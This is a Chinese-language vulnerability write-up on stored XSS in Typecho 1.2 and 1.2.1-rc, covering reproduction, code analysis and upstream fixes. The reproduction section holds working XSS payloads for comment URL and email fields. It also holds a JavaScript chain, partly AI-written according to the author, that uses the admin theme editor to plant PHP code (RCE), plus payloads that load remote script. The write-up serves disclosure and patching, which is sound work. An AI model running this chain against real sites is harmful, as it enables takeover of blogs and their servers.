0x1影响版本
Typecho 1.2
Typecho 1.2.1-rc
0x2 漏洞复现
0x2.1 1.2版本漏洞复现
1.2.1-rc存在的漏洞 此版本也存在
1.2.0下载地址
https://github.com/typecho/typecho/releases/download/v1.2.0/typecho.zip
安装完成后来到文章评论处,在网站处写入poc
http://xxxxxx/"></a><script>alert(1)</script><a/href="#
评论完成后可以在前台文章处直接触发
登入管理员来到后台,管理->评论也能触发
0x2.2 1.2.1-rc版本漏洞复现
1.2.1-rc 下载地址
https://github.com/typecho/typecho/archive/refs/tags/v1.2.1-rc.zip
安装好后来到评论随便填个邮箱
然后在提交后抓包将邮箱修改成
"></a><script>alert('1')</script>"@example.com
这个在前端评论是不会触发的,需要在后台处才会触发,因为前台并不输出邮箱
0x2.3 XSS到RCE
接下来是通过js编辑模板文件来进行rce
/admin/theme-editor.php
但是typecho后台操作都有Referer验证,如果Referer不是来自domain/admin/theme-editor.php就会编辑失败所以没办法使用js直接发包来编辑模板因为设置Referer头会无法发送
这里通过js在网页的末尾插入一个iframe元素来打开模板编辑页面,然后通过iframe来发包就能实现携带可用Referer的包,这个注释包括部分代码是利用ChatGpt实现的还是非常不错的
// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
// 获取当前页面路径
var urlWithoutDomain = window.location.pathname;
// 判断页面是否为评论管理页面
var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
var tSrc='';
if (hasManageComments){
// 如果是,则将路径修改为用于修改主题文件的页面地址
tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
}else{
// 如果不是,则直接使用主题文件修改页面地址
tSrc='/admin/theme-editor.php?theme=default&file=404.php';
}
// 定义iframe元素的属性,包括id、src、width、height和onload事件
var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
// 获取网页原始内容
var originalContent = document.body.innerHTML;
// 在网页末尾添加iframe元素
document.body.innerHTML = (originalContent + iframeAttributes);
}
// 定义一个全局变量isSaved,初始值为false
var isSaved = false;
// 定义一个函数,在iframe中写入一段PHP代码并保存
function writeShell() {
// 如果isSaved为false
if (!isSaved) {
// 获取iframe内的内容区域和“保存文件”按钮元素
var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');
// 获取模板文件原始内容
var oldData = content.value;
// 在原始内容前加入一段phpinfo代码
content.value = ('<?php phpinfo(); ?>\n') + oldData;
// 点击“保存文件”按钮
btns[1].click();
// 将isSaved设为true,表示已经完成写入操作
isSaved = true;
}
}
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP代码的事件
insertIframe();
这里可以在评论处加载js来使用
1.2
http://xxx.xxx.com/"></a><script/src=http://js地址></script><a/href="#
或
1.2.1-rc
"></a><script/src=http://js地址></script>"@example.com
这里为了演示我直接在控制台执行了不去在调用外部js的方式执行了
然后这里访问模板文件或者让文章404即可触发/usr/themes/default/404.php
或/index.php/archives/1/A
0x3 漏洞分析
0x3.1 1.2 漏洞分析
var/Widget/Feedback.php
文件第 209 行接收url参数也就是我们填写的网址的时候只进行trim去除前后空白字符处理未进行其他处理
$comment['author'] = $this->request->filter('trim')->author;
$comment['mail'] = $this->request->filter('trim')->mail;
$comment['url'] = $this->request->filter('trim')->url;
同理的还有第 308行
$trackback['url'] = $this->request->filter('trim')->url;
显示用户评论的代码处var/Widget/Base/Comments.php
文件第 271 行 处输出URL处没进行过滤操作导致的文章页面的以及后台评论管理页面的xss
public function author(?bool $autoLink = null, ?bool $noFollow = null)
{
$autoLink = (null === $autoLink) ? $this->options->commentsShowUrl : $autoLink;
$noFollow = (null === $noFollow) ? $this->options->commentsUrlNofollow : $noFollow;
if ($this->url && $autoLink) {
echo '<a href="' . $this->url. '"'
. ($noFollow ? ' rel="external nofollow"' : null) . '>' . $this->author . '</a>';
} else {
echo $this->author;
}
}
0x3.2 1.2.1-rc 漏洞分析
在/var/Typecho/Validate.php
第97行的验证邮箱函数
public static function email(string $str): bool
{
return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
}
使用的是php的filter_var函数FILTER_VALIDATE_EMAIL的过滤器来验证一个字符串是否是有效的电子邮件地址,这个过滤器并不能保证安全,因为一个有效的电子邮件地址仍然可以包含一些恶意的代码
可以看到包含xss payload的邮箱也是可以通过FILTER_VALIDATE_EMAIL验证属于合法邮箱
我去查看了一下typecho1.1的验证发现是使用的正则是到了1.2开始才换到了filter_var导致了漏洞的出现
public static function email($str)
{
return preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
}
0x4 漏洞修复
0x4.1 1.2版本修复
根据 Typecho 仓库的提交历史,可以查看到 b989459 提交内容来修改三个文件内容来修复评论处的网站处xss
var/Widget/Base/Comments.php
var/Widget/Feedback.php
var/Widget/Options.php
https://github.com/typecho/typecho/commit/b989459d87df9cf0c50b010faf6123eea8c5314b
var/Widget/Base/Comments.php
271行
echo '<a href="' . $this->url . '"'
修改为
echo '<a href="' . Common::safeUrl($this->url) . '"'
这部分对评论中的网址输出进行了过滤使用safeUrl函数将url中的非法字符串进行处理
var/Widget/Feedback.php
209,308 行
209
$comment['url'] = $this->request->filter('trim')->url;
修改为
$comment['url'] = $this->request->filter('trim', 'url')->url;
308
$trackback['url'] = $this->request->filter('trim')->url;
修改为
$trackback['url'] = $this->request->filter('trim', 'url')->url;
这部分是对输入进行了处理
var/Widget/Options.php
85行
* @property bool $commentsRequireURL
修改为
* @property bool $commentsRequireUrl
还要根据下方的1.2.1-rc版本修复邮箱处的xss
0x4.1 1.2.1-rc版本修复
参考 https://github.com/FaithPatrick/typecho/commit/d9f666f9afd951b86e523a06dbcbbb60b14444a0
1.2.1-rc可以先临时修改/var/Typecho/Validate.php
第99行 修改为
return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
修改为
return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
修复后重新发包
修复完成后可以根据这篇文章来为typecho来加上一个waf来拦截一些攻击
One comment
你写得非常清晰明了,让我很容易理解你的观点。